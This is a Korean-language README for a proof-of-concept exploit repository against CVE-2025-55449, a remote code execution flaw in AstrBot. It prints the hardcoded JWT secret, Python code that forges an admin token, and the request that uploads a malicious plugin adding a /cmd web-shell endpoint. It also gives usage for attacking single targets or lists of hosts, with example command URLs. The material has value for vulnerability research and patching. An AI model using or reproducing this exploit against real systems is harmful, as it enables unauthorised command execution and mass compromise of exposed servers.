
CVE-2025-55449 EXP
이 저장소는 AstrBot의 치명적인 원격 코드 실행(RCE) 취약점인 CVE-2025-55449에 대한 개념 증명 익스플로잇을 포함합니다. 이 취약점은 취약한 JWT 인증과 플러그인 설치 메커니즘을 악용하여 공격자가 대상 시스템에서 임의 코드를 실행할 수 있게 합니다.
이 취약점은 다음으로 인해 발생합니다:
하드코딩된 JWT 비밀 키: AstrBot은 인증을 위해 하드코딩된 JWT 비밀 키(Advanced_System_for_Text_Response_and_Bot_Operations_Tool)를 사용하므로 공격자가 유효한 인증 토큰을 위조할 수 있습니다.
제한 없는 플러그인 설치: /api/plugin/install-upload 엔드포인트는 인증된 사용자가 적절한 검증 없이 플러그인을 업로드하고 설치할 수 있게 하여 임의의 Python 코드 실행을 가능하게 합니다.
플러그인 시스템을 통한 코드 실행: 플러그인 시스템은 플러그인이 애플리케이션의 라우팅을 수정하고 Flask/Quart 애플리케이션 인스턴스를 통해 임의의 명령을 실행할 수 있게 합니다.
JWT 토큰 위조: 익스플로잇은 하드코딩된 비밀 키를 사용하여 관리자 권한이 있는 JWT 토큰을 위조합니다.
코드 실행 취약점: 백엔드의 원격 코드 실행 취약점은 애플리케이션에 내장된 플러그인 확장 기능을 악용하여 사용자가 사용자 정의 플러그인 패키지를 업로드할 수 있게 합니다. 프로그램은 패키지의 압축을 풀고, 플러그인의 정보를 읽은 다음, 객체의 Python 파일을 가져와서 코드를 실행합니다.
1. Forge JWT token with hardcoded secret
2. Create malicious plugin ZIP file
3. POST to /api/plugin/install-upload with forged token
4. Plugin installs and adds /cmd endpoint
5. Execute commands via /cmd?cmd=<command>
jwt (PyJWT)requestszipfile (내장)argparse (내장)datetime (내장)pathlib (내장)git clone <repository-url>
cd CVE-2025-55449
pip install PyJWT requests
단일 대상 URL에 대해 익스플로잇을 실행합니다:
python main.py http://target-ip:port
한 줄에 하나의 URL이 있는 파일(ip.txt)을 생성합니다:
http://target1:6185
http://target2:6185
http://target3:6185
그런 다음 실행합니다:
python main.py -r ip.txt
익스플로잇이 성공하면 스크립트는 다음을 출력합니다:
http://target-ip:port/cmd?cmd=id
그런 다음 다음에 접근하여 명령을 실행할 수 있습니다:
http://target-ip:port/cmd?cmd=<your-command>
예를 들어:
http://target-ip:port/cmd?cmd=whoami
http://target-ip:port/cmd?cmd=ls -la
CVE-2025-55449/
├── main.py # Main exploit script
├── ip.txt # Example target URLs file
├── README.md # This file
└── helloworld/ # Malicious plugin directory
├── main.py # Plugin code that adds /cmd endpoint
├── metadata.yaml # Plugin metadata
├── LICENSE # Plugin license
└── README.md # Plugin readme
익스플로잇은 하드코딩된 JWT 비밀 키를 사용하여 유효한 인증 토큰을 생성합니다:
key = "Advanced_System_for_Text_Response_and_Bot_Operations_Tool"
payload = {"username": "admin", "exp": datetime.datetime.utcnow() + datetime.timedelta(days=7)}
forged = jwt.encode(payload, key, algorithm="HS256")
플러그인(helloworld/main.py)은 Python의 import 시스템과 Flask/Quart의 애플리케이션 인스턴스를 악용하여 새 경로를 주입합니다:
# The plugin finds the Quart application instance and adds a /cmd route
# that executes arbitrary commands via os.popen()
익스플로잇은 플러그인을 ZIP 파일로 패키징하고 인증된 엔드포인트를 통해 업로드합니다:
requests.post(
url + "/api/plugin/install-upload",
headers={"Authorization": "Bearer " + forged},
files={"file": (name + ".zip", zip_payload_bytes)}
)